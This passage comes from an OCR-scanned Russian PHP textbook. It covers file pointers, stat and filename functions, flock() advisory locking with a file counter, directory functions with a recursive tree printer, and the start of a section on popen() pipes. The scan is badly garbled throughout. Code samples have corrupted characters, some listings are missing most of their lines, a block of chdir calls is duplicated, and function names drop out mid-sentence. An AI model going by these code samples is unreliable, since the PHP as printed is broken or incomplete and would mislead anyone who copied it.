for(3c=0; Sc<$num; $c++)

print "[$c]: $data[$c]<br>";

}

fclose($f);

Положение указателя текущей позиции

int feof(int $f)

Возвращает true, если достигнут конец файла (то есть если указатель файла установлен за концом файла). Эта функция чаше всего используется в следующем контексте:

$f=fopen("myfile.txt","r") ;

while(!feof($ f))

{ $st=fgets($f) ;

// теперь мы обрабатываем очередную строку $st

fclose ($f);

Лучше избегать подобных конструкций, т. к. в случае больших файлов они довольно медлительны. Лучше читайте файл целиком при помощи File о (см. ниже) или f read () — конечно, если вам нужен доступ к каждой строке этого файла, а не только к нескольким первым!

int fseekfint $f, in $offset, int $whence=SEEK_SET)

Устанавливает указатель файла на байт со смешением $offset (от начала файла, от его конца или от текущей позиции, в зависимости от параметра $whence). Это, впрочем, может и не сработать, если дескриптор $f ассоциирован не с обычным локальным файлом, а с соединением HTTP или FTP.

Параметр $whence, как уже упоминалось, задает, с какого места отсчитывается смешение $offset. В РНР для этого существуют три константы, равные, соответственно, О, 1 и 2:

SEEK_SET — устанавливает позицию начиная с начала файла;

SEEK_CUR — отсчитывает позицию относительно текущей позиции;

SEEK^END — отсчитывает позицию относительно конца файла.

В случае использования последних двух констант параметр $off set вполне может быть отрицательным (а при применении SEEK_END он будет отрицательным наверняка).

Как это ни странно, но в случае успешного завершения эта функция возвращает 0, а в случае неудачи -1. Почему так сделано — неясно. Наверное, по аналогии с ее Си-эквивалентом?

int ftell(int $f)

Возвращает положение указателя файла. Собственно, вот и все, что делает эта функция.

Функции для определения типов файлов

Помимо уже рассмотренных, РНР имеет также набор вспомогательных (и весьма удобных) функций для работы с файлами. Они отличаются тем, что работают не с файловыми идентификаторами, а непосредственно с их именами.

Определение типа файла

bool file_exists(string ^filename)

Возвращает true, если файл с именем $ filename существует на момент вызова. Используйте эту функцию с осторожностью! Например, следующий код никуда не годится с точки зрения безопасности:

$fname="/etc/passwd";

if(!file_exists($fname)

$f=fopen($fname,"w");

else

$f-fopen($fname,"r");

Дело в том, что между вызовом file_exists о и открытием файла в режиме w проходит некоторое время, в течение которого другой процесс может "вклиниться" и "подменить" используемый нами файл. Сейчас это все кажется маловероятным, но данная проблема выходит на передний план при написании сценария счетчика. Мы еще остановимся на ней чуть позже.

string filetype(string ^filename)

Возвращает строку, которая описывает тип файла с именем $ filename. Если такого файла не существует, возвращает false. После вызова строка будет содержать одно из следующих значений:

file — обычный файл;

О dir — каталог;

link — символическая ссылка;

fifo — fifo-канал;

О block — блочно-ориентированное устройство;

О char — символьно-ориентированное устройство;

unknown — неизвестный тип файла.

Рассматриваемые ниже несколько функций представляют собой лишь надстройку для функции filetype () ■ В большинстве случаев они очень полезны, и пользоваться ими удобнее, чем последней.

bool is_file(string $filename)

Возвращает true, если $filename — обычный файл.

bool is_dir(string Sfilename)

Возвращает true. если $filename — каталог.

bool is_link(string $filename)

Возвращает true, если $filename — символическая ссылка.

Определение возможности доступа

В РНР есть еще несколько функций, начинающихся с префикса is_. Они довольно интеллектуальны, поэтому рекомендуется использовать их перед "опасными" открытиями файлов.

bool is_readable(string 5filename)

Возвращает true, если файл может быть открыт для чтения.

bool iS-Writeable(string $filename)

Возвращает true, если в файл можно писать.

bool is-executable (string $filename)

Возвращает true, если файл — исполняемый.

Определение параметров файла

array stat(string Sfilename)

Функция собирает вместе всю информацию, выдаваемую операционной системой для указанного файла, и возвращает ее в виде массива. Этот массив всегда содержит следующие элементы с указанными ключами:

о — устройство;

— номер узла inode;

— атрибуты защиты файла;

— число синонимов ("жестких" ссылок) файла;

— идентификатор uid владельца;

— идентификатор gid группы;

— тип устройства;

— размер файла в байтах;

— время последнего доступа в секундах, прошедших с 1 января 1970 года;

— время последней модификации содержимого файла;

— время последнего изменения атрибутов файла;

— размер блока;

— число занятых блоков.

Как мы видим, в этот массив помещается информация, которая доступна в системах Unix. Под Windows многие поля могут быть пусты (например, в ней у файлов нет владельца, а значит, нет и идентификатора владельца файла и группы). Обычно они бывают совершенно бесполезны при написании сценариев.

Если $ filename задает не имя файла, а имя символической ссылки, то все- таки будет возвращена информация о том файле, на который ссылается эта ссылка (а не о ссылке). Для получения информации о ссылке можно воспользоваться вызовом lstat(), имеющим точно такой же синтаксис, что и stat () ■

Специализированные функции

Для того чтобы каждый раз не возиться с вызовом stat () и разбором выданного массива, разработчики РНР предусмотрели несколько простых функций, которые сразу возвращают какой-то один параметр файла. Кроме того, если объекта (обычно файла), для которого вызвана какая-либо из ниже перечисленных функций, не существует, эта функция возвратит false.

int fileatime(string $filename)

Возвращает время последнего доступа (access) к файлу (например, на чтение). Время выражается в количестве секунд, прошедших с 1 января 1970 года. Если файл не обнаружен, возвращает false.

int filemtime(string $filename)

Возвращает время последнего изменения содержимого файла или false в случае отсутствия файла.

int filectime(string Sfilename)

Возвращает время последнего изменения атрибутов файла.

int filesize(string $filename)

Возвращает размер файла в байтах или false, если файла не существует.

int touch(string $filename [, int $timestamp])

Устанавливает время модификации указанного файла $filename равным $timestamp (в секундах, прошедших с 1 января 1970 года). Если второй параметр не указан, то подразумевается текущее время. В случае ошибки возвращается false.

Внимание

Если файла с указанным именем не существует, он создается пустым.

Функции для работы с именами файлов

Нам довольно часто приходится манипулировать с именами файлов. Например, "прицепить" к имени слева путь к какому-то каталогу или, наоборот, из полной спецификации файла выделить его непосредственное имя. В связи с этим в РНР введены несколько функций для работы с именами файлов. string basename (string $path)

Выделяет основное имя файла из пути $path. Вот несколько примеров: echo basename("/home/somebody/somefile.txt") ; // выводит "somefile.txt" echo basename ("/");// ничего не выводит

echo basename ("/.");// выводит

echo basename("/,/"); // также выводит

Обратите внимание на то, что функция basename о (да и все последующие) не проверяет существование файла. Она просто берет часть строки после самого правого слэша и возвращает ее. С облегчением можно также сказать, что функция basename о правильно обрабатывает как прямые, так и обратные слэши под Windows. string dirname(string $path)

Возвращает имя каталога, выделенное из пути $path. Функция довольно "разумна" и умеет обрабатывать нетривиальные ситуации, как это явствует из примеров: echo dirname("/home/file.txt"); // выводит "/home" echo dirname("../file.txt"); // выводит echo dirname("/file.txt") ;// выводит ”/" под Unix, ”\ под Windows

echo dirname("/");// то же самое

echo dirname("file.txt");// выводит

Заметьте, что если функции dirname о передать "чистое" имя файла, она вернетчто означает "текущий каталог".

Внимание

В предыдущих версиях РНР (например, в версии 3) функция была гораздо менее "интеллектуальна". Например, для "чистого" имени файла она возвращала его самого, а не точку.

string tempnam(string $dir, string $prefix)

Генерирует имя файла в каталоге $dir с префиксом $prefix в имени, причем так, чтобы созданный под этим именем в будущем файл был уникален. Для этого к строке $prefix присоединяется некое случайное число. Напри-

мер, вызов tempnam("/tmp", "temp") может возвратить что-то типа /tmp/temp3a6b243c. Если такое имя нужно создать в текущем каталоге, передайте, как обычно, $dir=".".

Обратите внимание, что использовать tempnam() в следующем контексте опасно:

$fname=tempnam() ;

$f=fopen($fname,"w");

// работаем с временным файлом

Дело в том, что хотя функция и возвращает уникальное имя, все-таки существует вероятность того, что между tempnam() и fopen () сюда "вклинится" какой-нибудь другой процесс, в котором функция tempnamo сгенерировала идентичное имя файла. Такая вероятность исчезающе мала, но все-таки она существует. Поэтому лучше воспользоваться функцией tmpfile () или функциями блокировки.

string realpath(string $path)

Эта функция очень часто оказывается чрезвычайно полезной. На нее возложена довольно непростая задача: преобразовать относительный путь в $path в абсолютный, т. е. начинающийся от корня. Например:

echo realpath("../t.php"); // абсолютный путь — например, /home/test.php echo realpath (".");// выводит имя текущего каталога

Замечание

К сожалению, последний оператор в некоторых версиях РНР выводит не тот же самый результат, что и функция getcwd () . А именно, к имени текущего каталога "прицепляются" слэши, а иногда даже и /. /. Так что, если без определения текущего каталога вам не обойтись, используйте getcwd ().

Файл, который указывается в параметре $path, должен существовать, иначе функция возвращает false.

( Замечание )

Функция realpath () также "расширяет" имена всех символических ссылок, которые могут встретиться в строке, задающей путь к файлу. Она всегда возвращает абсолютное каноническое имя, состоящее только из имен файлов I 1 но не имен ссылок.

Функции манипулирования

целыми файлами

На самом деле всех перечисленных выше функций достаточно для реализации обмена с файлами любой сложности. Однако часто бывает нужно рабо-

тать с файлами не построчно (или поблочно), а целиком. Функции, описанные далее, как раз для этого и предназначены.

bool copy(string Ssrc, string $dst)

Копирует файл с именем $src в файл с именем $dst. При этом, если файл $dst на момент вызова существовал, осуществляется его перезапись. Функция возвращает true, если копирование прошло успешно, а в случае провала — false.

bool rename(string $oldname, string $newname)

Переименовывает(илиперемешает,чтоодноитоже)файлс именем

$oldname в файл с именем $newname. Если файл Snewname уже существует, регистрируется ошибка, и функция возвращает false. To же происходит и при всех прочих неудачах. Если же все прошло успешно, возвращается true.

Внимание

Функция не выполняет переименование файла, если его новое имя расположено в другой файловой системе (на другой смонтированной системе в Unix или на другом диске в Windows). Так что никогда не используйте rename () для получения загруженного по HTTP файла (о загрузке подробно рассказано в пятой части книги)— ведь временный каталог /tmp вашего хостинг-провайдера скорее всего располагается на отдельном разделе диска.

bool unlink(string $filename)

Удаляет файл с именем $filename. В случае неудачи возвращает false, иначе — true.

Замечание

На самом-то деле файл удаляется только в том случае, если число "жестких" ссылок на него стало равным 0. Правда, эта схема специфична для Unix-систем.

list File (string Sfilename)

Считывает файл с именем $ filename целиком и возвращает массив-список, каждый элемент которого соответствует строке в прочитанном файле. Функция работает очень быстро — гораздо быстрее, чем если бы мы использовали fopen () и читали файл по одной строке. Неудобство этой функции состоит в том, что символы конца строки (обычно \п), не вырезаются из строк файла, а также не транслируются, как это делается для текстовых файлов.

array getjneta_tags (string Sfilename, int $use_include_path=false) ;

Функция открывает файл и ищет в нем все тэги <meta> до тех пор, пока не встретится закрывающий тэг </head>. Если очередной тэг <meta> имеет вид:

<meta пате="название" content=”содержимое”>

то пара название=>содержимое добавляется в результирующий массив, который под конец и возвращается. Функцию удобно использовать для быстрого получения всех метатегов из указанного файла (что работает гораздо быстрее, чем соответствующее использование fopen о и затем чтение и разбор файла по строкам). Если необязательный параметр $use_include_path установлен, то поиск файла осуществляется не только в текущем каталоге, но и во всех тех, которые назначены для поиска инструкциями include и require.

Другие функции

bool ftruncate(int $f, int $newsize)

Эта функция усекает открытый файл $f до размера $newsize. Разумеется, файл должен быть открыт в режиме, разрешающем запись. Например, следующий код просто очищает весь файл:

ftruncate($f, 0); // очистить содержимое файла

void fflush(int $f)

Заставляет РНР немедленно записать на диск все изменения, которые производились до этого с открытым файлом $f. Что это за изменения? Дело в том, что для повышения производительности все операции записи в файл буферизируются: например, вызов fputs ($f, "Это строка!") не приводит к непосредственной записи данных на диск — сначала они попадают во внутренний буфер (обычно размером 8К). Как только буфер заполняется, его содержимое отправляется на диск, а сам он очищается, и все повторяется вновь. Особенный выифыш от буферизации чувствуется в сетевых операциях, когда просто глупо отправлять данные маленькими порциями. Конечно, функция fflush о вызывается неявно и при закрытии файла.

int set_file_buffer(int $f, int $size)

Эта функция устанавливает размер буфера, о котором мы только что говорили, для указанного открытого файла $f. Чаще всего она используется так:

set_file_buffer($f,0);

Приведенный код отключает буферизацию для указанного файла, так что теперь все данные, записываемые в файл, немедленно отправляются на диск или в сеть.

L Примечание

Буферизированный ввод/вывод придуман не зря. Не отключайте его без крайней надобности — это может нанести серьезный ущерб производительности. В крайнем случае используйте f flush ().

Блокирование файла

При интенсивном обмене данными с файлами в мультизадачных операционных системах встает вопрос синхронизации операций чтения/записи между процессами. Например, пусть у нас есть несколько "процессов- писателей" и один "процесс-читатель". Необходимо, чтобы в единицу времени к файлу имел доступ лишь один процесс-писатель, а остальные на этот момент времени как бы "подвисали", ожидая своей очереди. Это нужно, например, чтобы данные от нескольких процессов не перемешивались в файле, а следовали блок за блоком. Как мы можем этого достигнуть?

Здесь на помощь приходит функция flockо , которая устанавливает так называемую "рекомендательную блокировку" для файла. Это означает, что блокирование доступа осуществляется не на уровне ядра системы, а на уровне программы. Поясню на примере.

Однажды я прочитал одно замечательное сравнение рекомендательной блокировки с перекрестком, на котором установилось довольно оживленное движение, регулируемое светофором. Когда горит красный, одни машины стоят, а другие проезжают. В принципе, любая машина может, так сказать, проехать наперекор правилам дорожного движения, не дожидаясь зеленого сигнала, но в таком случае возможны аварии. Рекомендательная блокировка работает точно таким же образом. А именно, процессы, которые ей пользуются, будут работать с разделяемым файлом правильно, а остальные как- нибудь да будут, пока не произойдет "столкновение".

С другой стороны, "жесткая блокировка" (которая в РНР не поддерживается) подобна шлагбауму: никто не сможет проехать, пока его не поднимут. О жесткой блокировке мы в этой книге говорить не будем.

Единственная функция, которая занимается управлением блокировками в РНР, называется flockо .

bool flock(int $f, int $operation [, int& Swouldblock))

Функция устанавливает для указанного открытого дескриптора файла $f режим блокировки, который бы хотел получить текущий процесс. Этот режим задается аргументом $operation и может быть одной из следующих констант:

О LOCK_SH (или 1) — разделяемая блокировка;

□ LOCK EX (или 2) — исключительная блокировка;

LOCK_UN (или з) — снять блокировку;

LOGK_NB (или 4) — эту константу нужно прибавить к одной из предыдущих, если вы не хотите, чтобы программа "подвисала на flockо в ожидании своей очереди, а сразу возвращала управление.

В случае, если был затребован режим без ожидания, и блокировка не была успешно установлена, в необязательный параметр-переменную Swouldblock будет записано значение истина true.

В случае ошибки функция, как всегда, возвращает false, а в случае успешного завершения — true.

Внимание J

Хотя в документации РНР и сказано, что flock() работает во всех операционных системах (в том числе и под Windows), мои тесты показали, что как раз для Windows это не так. А именно, в этой системе функция всегда возвращает индикатор провала, независимо от того, правильно она вызывается, или нет. Возможно, в будущих версиях РНР это досадное недоразумение будет исправлено.

Типы блокировок

Вспоминаю, когда я впервые столкнулся с описанием возможностей рекомендательных блокировок Си в одном из электронных справочников (кажется, это был man операционной системы FreeBSD), я был неприятно удивлен, - настолько все выглядело сложным и нелогичным. Слава Богу, на самом деле ситуация далеко не так плачевна. Сейчас я постараюсь понятным языком разъяснить все, что касается блокировок в языке РНР. Что же из себя представляют понятия исключительная блокировка и разделяемая блокировка?

Исключительная блокировка

Вернемся к нашему примеру с процессами-писателями. Каждый такой процесс страстно желает, чтобы в некоторый момент (точнее, когда он уже почти готов начать писать) он был единственным, кому разрешена запись в файл.

Он хочет стать исключительным.

Отсюда и название блокировки, которую процесс должен для себя установить. Вызвав функцию flock($f,LOCK_EX) , он может быть абсолютно уверен, что все остальные процессы не начнут без разрешения писать в файл, пока он не выполнит все свои действия и не вызовет flock($f, LOCK_UN) или не закроет файл.

Откуда такая уверенность? Дело в том, что если в данный момент наш процесс не единственный претендент на запись, операционная система просто не выпустит его из "внутренностей" функции flock(), т. е. не допустит его продолжения, пока процесс-писатель не станет единственным. Момент, когда процесс, использующий исключительную блокировку, становится активным, знаменателен еще и тем, что все остальные процессы-писатели ожидают (все в той же функции flock() ), когда же он, наконец, закончит свою работу с файлом. Как только это произойдет, операционная система выберет следующий исключительный процесс, и т. д.

Что ж, давайте теперь рассмотрим, как в общем случае должен быть устроен процесс-писатель, желающий установить для себя исключительную блокировку (листинг

1 Листинг 15.2. Модельс исключительной блокировкой

<ч

инициализация

orмогу открыть файл на

// ждем, пока мы не станем единственными

этой точке мы можем быть уверены, что только эта

//' программа работает с файлом

// . . .

// записываем все изменения на диск

// говорим, что мы больше не будем работать с файлом fclose($f)

// Завершение

Заметьте, что при открытии файла мы использовали не деструктивный режим w (который удаляет файл, если он а более "мягкий" — а+. Это неспроста. Посудите сами: удаление файла идеологически есть изменение его содержимого. Но мы не должны этого делать до получения исключительной блокировки (вспомните пример со светофором)! Поэтому, если вам нужно обязательно каждый раз стирать содержимое файла, ни в коем случае не используйте режим открытия w -- применяйте а+ и функцию ftruncate о , описанную выше. Например:

orмогу открыть файл на

// ждем, пока мы не станем единственными очищаем все содержимое файла

( _ Замечание _

Зачем мы используем перед тем, как разблокировать файл? Все очень просто: отключение блокировки не ведет к сбросу внутреннего файлового буфера, т. е. некоторые изменения могут быть "сброшены" в файл уже после

того, как блокировка будет снята. Мы, разумеется, этого не хотим, вот и заставляем РНР принудительно записать все изменения на диск.

( Совет )

Устанавливайте исключительную блокировку, когда вы собираетесь изменять файл. Всегда используйте при этом режим открытия г, г+ или a-t. Никогда не применяйте режим w. Снимайте блокировку так рано, как только сможете, и не забывайте перед этим вызвать fflush ().

Разделяемая блокировка

Мы решили ровно половину нашей задачи. Действительно, теперь данные из нескольких процессов-писателей не будут перемешиваться, но как быть с читателями? А вдруг процесс-читатель захочет прочитать как раз из того места, куда пишет процесс-писатель? В этом случае он, очевидно, получит "половинчатые" данные. То есть, данные неверные. Как же быть?

Существуют два метода обхода этой проблемы. Первый — это использовать все ту же исключительную блокировку. Действительно, кто сказал, что исключительную блокировку можно применять только в процессах, изменяющих файл? Ведь функция flockо не знает, что будет выполнено с файлом, для которого она вызвана. Однако этот метод довольно-таки неудачен, и вот по какой причине. Представьте, что процессов-читателей много, а писателей — мало, и к тому же писатели еще и вызываются, скажем, раз в пару минут, а не постоянно, как читатели. В случае использования исключительной блокировки для процессов-читателей, довольно интенсивно обращающихся к файлу, мы очень скоро получим целый их рой, висящий, недовольно гудя, в очереди, пока очередному процессу разрешат читать. Но ведь никакой "аварии" не случится, если один и тот же файл будут читать и сразу все процессы этого роя, правда? Ведь чтение из файла его не изменяет. Итак, предоставив исключительную блокировку для читателей, мы потенциально получаем проблемы с производительностью, перерастающие в катастрофу, когда процессов-читателей становится больше некоторого определенного порога.

Второй (и лучший) способ подразумевает использование разделяемой блокировки. Процесс, который устанавливает этот вид блокировки, будет приостановлен только в одном случае: когда активен другой процесс, установивший исключительную блокировку. В нашем примере процессы-читатели будут "поставлены в очередь" только тогда, когда активизируется процесс- писатель. И это правильно. Посудите сами: зачем зажигать красный свет на перекрестке, если поперечного движения заведомо нет?

Теперь давайте посмотрим на разделяемую блокировку читателей с точки зрения процесса-писателя. Что он должен делать, если кто-то читает из файла, в который он как раз собирается записывать? Очевидно, он должен дождаться, пока читатель не закончит работу. Иными словами, вызов flock($f, LOCK_EX) обязан подождать, пока активна хотя бы одна разделяемая блокировка. Это и происходит в действительности.

Примечание J

Возможно, вам на ум пришла аналогия с перекрестком, по одной дороге которого движется почти непрерывный поток машин, и поперечное движение при этом блокируется навсегда, — так что у водителей нет никаких шансов пробиться через сплошной поток. В реальном мире это действительно иногда происходит (потому-то любой светофор всегда представляет собой исключительную блокировку), но только не в мире РНР. Дело в том, что, если почти всегда активна разделяемая блокировка, операционная система все равно так распределяет кванты времени, что в некоторые из них можно "включить" исключительную блокировку. То есть "поток машин" становится не сплошным, а с "пробелами"— ровно такого размера, чтобы в них могли "прошмыгнуть" машины, едущие в перпендикулярном направлении.

В листинге 15.3 представлена модель процесса, использующего разделяемую блокировку.

I Листинг 15.3. Модель процесса с разделяемой блокировкой

<?

// инициализация

// . . .

$f=fopen($f, "г") or die ("Heмогу открыть файл на чтение!”);

flock($f,LOCK_SH)flock($f,LOCK_SH)// ждем, когда процессы-писатели угомонятся

flock($f,LOCK_SH)

flock($f,LOCK_SH)

// В этой точке мы можем быть уверены, что эта программа работает H. c файлом, когда ни одна другая программа в него не пишет // . . .

flock ($f,LOCK UN) ; // говорим, что мы больше не будем работать с файлом fclose($f);

/ / Завершение

Совет )

Устанавливайте разделяемую блокировку, когда вы собираетесь только читать из файла, не изменяя его. Всегда используйте при этом режим открытия r, и никакой другой. Снимайте блокировку так рано, как только сможете.

Блокировки с запретом "подвисания"

Как следует из описания функции flock(), к ее второму параметру можно прибавить константу LOCK_NB для того, чтобы функция не ожидала, когда

программа может "двинуться в путь", а сразу же возвращала управление в основную программу. Это может пригодиться, если вы не хотите, чтобы ваш сценарий бесполезно простаивал, ожидая, пока ему разрешат обратиться к файлу. В эти моменты, возможно, лучше будет заняться какой-нибудь полезной работой — например, почистить временные файлы, память, или же просто сообщить пользователю, что файл заблокирован, чтобы он подождал и не думал, что программа зависла. Вот пример использования исключительной блокировки в совокупности с

$f=fopen("file.txt", "a+");

{

echo "Пытаемся получить доступ к файлу

// ждем 1 секунду

}

// Работаем

Эта программа основывается на том факте, что выход изможет

произойти либо в результате отказа блокировки, либо после того, как блокировка будет установлена — но не до того! Таким образом, когда мы наконец-то дождемся разрешения доступа к файлу и произойдет выход из цикла while, мы уже будем иметь исключительную блокировку, закрепленную за нашим файлом.

Пример счетчика

Давайте напоследок рассмотрим классический пример, когда без блокировки файла не обойтись. Если вы уже имели некоторый опыт в Web-программировании, то вы, наверное, уже догадываетесь, что речь пойдет о проблеме, возникающей при написании сценария счетчика.

Итак, нам нужен сценарий, который бы при каждом своем запуске увеличивал число, хранящееся в файле, и выводил его в браузер. Несложная, казалось бы, задача сильно осложняется тем, что при большой посещаемости сервера могут быть запущены сразу несколько процессов-счетчиков, которые попытаются обратиться к одному и тому же файлу. Если не принять мер, это приведет к тому, что счетчик рано или поздно

Далее следует сценарий, использующий блокировку для предотвращения указанной проблемы.

I Листинг 15.4. Простейший текстовый счетчик

$f=fopen("counter.dat","a+");

// Говорим, что дальше будем работать только мы

$count=fread($f, 100) ;

//

Читаем значение, сохраненное в файле

:@$count=$count+l;

//

Увеличиваем его на 1 (пустая строка = 0)

ftruncate($ f,0);

//

Стираем файл

fwrite($f,$count);

//

Записываем новое значение

fflush ($f)

//

Сбрасываем файловый буфер

flock($f,LOCK_UN);

//

Отключаемся от блокировки

fclose($ f);

//

Закрываем файл

echo $count;

//

Печатаем величину счетчика

?>

Здесь мы применяем только исключительную блокировку, потому что каждый раз, когда нам нужно вывести на экран счетчик, его также нужно и увеличить.

Глава 16

Работа с каталогами

С точки зрения операционной системы каталоги — это те же самые файлы, только со специальным именем. То есть директорию можно представить себе как файл, в котором хранятся имена и местоположения других файлов и каталогов. Этим обеспечивается традиционная древовидность организации файловой системы в различных ОС.

С каждым процессом (в частности, и с работающим сценарием) ассоциирован свой так называемый текущий каталог. Все действия по работе с файлами и каталогами осуществляются по умолчанию именно в ней. Например, если мы открываем файл, указав только его имя, РНР будет искать этот файл именно в текущем каталоге. Существуют также и функции, которые могут сделать текущим любой указанный каталог.

Манипулирование каталогами

Вот несколько полезных функций для работы с каталогами.

bool mkdir(string $name, int $perms)

Создает каталог с именем $name и правами доступа $perms. Права доступа для каталогов указываются точно так же, как и для файлов. Чаще всего значение $perms устанавливают равным 0770 (предваряющий ноль обязателен — он указывает РНР на то, что это — восьмеричная константа, а не десятичное число). Например:

mkdir("my_directory",0770); // создает подкаталог в текущем каталоге rakdir{"/data"); // создает подкаталог data в корневом каталоге

В случае успеха функция возвращает true, иначе — false. Необходимо заметить, что пользователь не может создать подкаталог в родительском каталоге, права на запись в который у него отсутствуют. Здесь точно такая же ситуация, как и с файлами.

Замечание )

Вы, наверное, заметили, что атрибуты доступа 0770 означают "доступен для чтения, записи и исполнения для владельца и его группы". Что означает атрибут исполнения, установленный для каталога? Может быть, он разрешает пользовате-

лям запускать из него программы? А вот и нет. Право на "исполнение" показывает, что пользователь сможет просмотреть содержимое каталога. Конечно, все это специфично для операционных систем семейства Unix.

bool rmdir(string $name)

Удаляет каталог с именем $name. В случае успеха возвращает true, иначе - false. Как всегда, действуют стандартные ограничения файловой системы на эту операцию.

bool chdir(string $path)

chdir("/tmp/data");chdir("./somathing");chdir("something") ;chdir("..");■chdir ("-/data") ;chdir("/tmp/data");chdir("./somathing");chdir("something") ;chdir("..");■chdir ("-/data") ;Сменяет текущий каталог на указанный. Если такого каталога не существует, возвращает false. Параметр $path может определять и относительный путь, задающийся от текущего каталога. Вот несколько примеров:

chdir("/tmp/data");

chdir("./somathing");

chdir("something") ;

chdir("..");

■chdir ("-/data") ;

chdir("/tmp/data");

chdir("./somathing");

chdir("something") ;

chdir("..");

■chdir ("-/data") ;

// переходим по абсолютному пути

// переходим в подкаталог текущего каталога

// то же самое

// переходим в родительский каталог

// переходим в /Ьоте/ПОЛЬЗОВАТЕЛЬ/ЬаЬа (для Unix)

string getcwd()

Возвращает полный путь к текущему каталогу, начиная от "корня" (/). Если такой путь не может быть отслежен (это иногда бывает в Unix из-за того, что права на чтение для родительских каталогов могут быть сняты), вызов "проваливается" и возвращает false.

С Замечание

Эта функция появилась в РНР совсем недавно. Так что если ее не окажется в вашей версии, обновите ее поскорее, либо напишите заменитель (что не так-то просто).

Работа с записями

Дальше описываются функции, которые позволяют узнать, какие объекты находятся в указанном каталоге. Например, с их помощью можно вывести содержимое текущего каталога. Механизм работы этих функций базируется примерно на тех же принципах, что и применяемых для файловых операций: сначала интересующий каталог открывается, затем из него производится считывание записей, и под конец каталог нужно закрыть. Правила интуитивно понятны и, наверное, хорошо вам знакомы.

int opendir(string $pathi

Открывает каталог $path для дальнейшего считывания из него информации о файлах и подкаталогах и возвращает его идентификатор. Дальнейшие вы-

зовыс идентификатором в параметрах будут обращены именно к

этому каталогу.возвращает false, если произошла ошибка.

string

Считывает очередное имя файла или подкаталога из открытого ранее каталога с идентификаторомиего в виде строки. Порядок

следования файлов в каталоге зависит от операционной системы — скорее всего, он будет совпадать с тем порядком, в котором эти файлы создавались, но не всегда. Вместе с именами подкаталогов и файлов будут также получены два специальных элемента: это . (ссылка на текущий каталог) и . . (ссылка на родительский каталог). В подавляющем большинстве случаев нам нужно их игнорировать, что и сделано в примере из листинга 16.1 при

ПОМОЩИ ИНСТРУКЦИИ continue.

Замечание,j

РНР версии 3 позволял опускать параметр— в этом случае, кажется,

подразумевался последний открытый каталог. Сценарий "собирался с силами", "вздыхал" и... кое-как работал. РНР версии 4 более строг: в нем вы обязательно должны указывать параметр $handle для функции readdir в противном случае вам гарантированы сюрпризы.

В случае, если в каталоге все файлы уже считаны, функция возвращает ложное значение. Но не позволяйте себе привыкнуть к конструкции такого вида: $d=opendir("somewhere");

while($e=readdir($d)) { . . .}

Она заставит цикл прерваться в его середине в случае обнаружения файла с именем "о", чего нам бы, конечно, не хотелось. Вместо этого пользуйтесь следующим методом:

$d=opendir("somewhere");

(!==false)

Оператор !== позволяет точно проверить, была ли возвращена величина false.

void

Закрывает ранее открытый каталог с идентификаторомHe возвра

щает ничего. В принципе, можно и не закрывать каталоги, т. к. это делается автоматически при завершении программы, но лучше все-таки такой легкостью не обольщаться.

void$handle)

"Перематывает" внутренний указатель открытого каталога на начало. После этого можно воспользоваться readdir о, чтобы заново начать считывать содержимое каталога.

Пример: печатьдеревакаталогов

В заключение приведу пример программы, которая рекурсивно распечатывает список всех каталогов (доступных сценарию) в вашей системе, начиная от корневого.

Листинг 16.1. Печать дерева каталогов в файловой системе

<?

// Функция распечатывает имена всех подкаталогов в текущем каталоге,

// выполняя рекурсивный обход. Параметр $level задает текущую

// глубину рекурсии.

function PrintTree ($level=l)

{

// Открываем каталог и выходим в случае ошибки $d=@opendir (".");

if(!$d) return;

while ( ($e=readdir($d)) !==false) {

// Игнорируем элементы ■ ■и .

if ($e=.''II$e='.. ')continue;

// Нам нужны только подкаталоги

if (!@is_dir($e)) continue;

// Печатаем пробелы, чтобы сместить вывод

for($i=0; $i<$level; $i++) echo

// Выводим текущий элемент

echo "$e\n";

// Входим в текущий подкаталог и печатаем его

if(!chdir($e)) continue;

PrintTree($level+l);

// Возвращаемся назад

chdir (".. ");

// Отправляем данные в браузер, чтобы избежать видимости зависания

// для больших распечаток

flush();

}

closedir($d) ;

}

// Выводим остальной текст фиксированным шрифтом

echo "<pre>";

echo

// Входим в корневой каталог и печатаем его

chdir("/");

PrintTree() ;

echo

Сразу хочу предупредить, что результат работы этого сценария представляет собой довольно длинную распечатку. Кроме того, программа работает медленно, т. к. ей нужно будет обойти тысячи каталогов вашей системы.

( _ Замечание _

Последний факт делает метод рекурсивного обхода каталогов совершенно непригодным для автоматического построения карты сервера. В случае применения технологии кэширования информации между запусками сценариев для больших сайтов построение карты даже, скажем, раз в час, выглядит довольно плачевно. Как обойти эту трудность (фактически, используя кэш и разделенные вычисления) рассказано в частикниги.

Глава

и символические ссылкии символические ссылкиКаналы

и символические ссылки

и символические ссылки

Вообще-то, каналы и символические ссылки — совершенно разные вещи. Однако у меня есть по крайней мере два веских основания для того, чтобы сгруппировать их описания в одном месте.

И то и другое сколько-нибудь результативно можно использовать лишь в системах на основе Unix, в других же операционных системах функции либо не реализованы, либо просто не работают.

П Примерно лишь один сценарий на РНР из тысячи может нуждаться в создании и использовании каналов и символических ссылок.

Каналы

Давайте начнем с каналов. Мы уже привыкли, что можем открыть какой-то файл для чтения при помощи open а затем читать или писать в него данные. Теперь представьте себе немного отвлеченную ситуацию: вы хотите из сценария запустить какую-то внешнюю программу (скажем, утилиту mail для отправки или приема почты). Вам нужен будет механизм, посредством которого вы могли бы передать этой утилите данные (например, E-mail и текст письма), а затем получить результат работы программы.

Можно, конечно, заранее сохранить данные для запроса в отдельном временном файле, затем запустить программу, передав ей этот файл в параметрах и направив результат в другой файл, а затем считать его и таким образом решить задачу. Этот способ вполне приемлем (хотя и несколько медлителен), если вы используете утилиту, которая работает не в режиме диалога (а только читает запрос и возвращает ответ). Однако, если после ответа программы-утилиты ей нужно будет послать какой-то другой запрос, не перезапускаясь, то задача становится на этом уровне неразрешимой. Как раз в такой ситуации и удобно использовать межпроцессные каналы. И вот как это работает.

// Запускаем процесс /bin/Is (параллельно работе сценария) в режиме

// чтения. Эта утилита Unix просто распечатывает содержимое текущего

// каталога, а ключ -1 заставляет ее детализировать распечатку.

$fp=popen("/bin/Is -1","r");

// Теперь мы можем работать с $fp как с обычным файловым

// идентификатором. То есть выполнять функции чтения.

for($Lines=a rrayЦ; 1eo f($fp);)

$Lines[]=fgets($fp, 1000) ;

// He забудем также закрыть канал.

pclose($fp);

Теперь более подробно. По команде popen() запускается указанная в первом параметре программа, причем выполняется она параллельно сценарию. Соответственно, управление сразу возвращается на следующую строку, и сценарий не ждет, пока завершится наша утилита (в отличие от функции systemо , которая будет вскоре рассмотрена). Второй параметр задает режим работы: чтение или запись, точно так же, как это делается в функции fopen () •

Внимание

